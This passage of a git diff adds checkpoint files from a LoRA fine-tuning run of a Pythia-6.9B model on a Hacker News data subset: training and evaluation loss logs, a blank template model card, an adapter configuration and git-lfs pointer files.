43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.0123395923968e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b41de6a2652943e8e18b9d1a79acd260ae7d0e29 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4c1095133431b3a8b1b53ee44ce2753882b8d020b41181d04c9f8b83c57accbf +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b48b9de44cea9ba1ed56f44abe11d085fe1ec0e1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9c729d9fe1a77b199f559aef1b72b6860a1afa0313c90b7259ab3e9df51c8a14 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..75311ff97c8628cb71fe6f6cdca5e9e1127d30b6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b6745ab2a92f54dcacb73c3ceec9d54235e5b225134fb7703879ee6185ad897 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..ffa4f4faa1638037c7009a7874a8ec2f958a56f3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:01b0d6dead233f71cda974ae02165d32469a3692fb9b97739fca51d1798a012e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..87edba4b19f511ea4d4756932973aefbc71e676b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/trainer_state.json @@ -0,0 +1,873 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.466666666666667, + "eval_steps": 10, + "global_step": 560, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 